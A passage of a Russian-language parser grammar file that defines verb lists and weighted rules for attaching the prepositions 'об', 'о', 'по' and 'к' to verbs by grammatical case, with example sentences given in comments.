rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) 